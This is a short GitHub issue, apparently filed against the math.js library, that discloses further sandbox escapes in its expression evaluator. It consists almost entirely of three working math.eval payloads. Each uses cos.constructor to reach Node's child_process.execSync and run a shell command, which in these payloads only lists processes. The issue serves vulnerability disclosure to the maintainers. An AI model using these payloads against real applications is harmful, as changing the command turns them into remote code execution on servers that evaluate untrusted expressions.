Skip to content

more eval exploits #821

@comex

Description

@comex
math.eval('["//","a/*\\nreturn process.mainModule.require"]._data.map(cos.constructor)[1]()("child_process").execSync("ps >&2")');
math.eval('import({matrix:cos.constructor},{override:1});x=["process.mainModule.require(\\"child_process\\").execSync(\\"ps >&2\\")"];x()');
math.eval('a=["process.mainModule.require(\\"child_process\\").execSync(\\"ps >&2\\")"]._data;a.isRange=true;x={subset:cos.constructor}[a];x()');

Unfortunately, this is pretty much a fundamentally insecure design.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions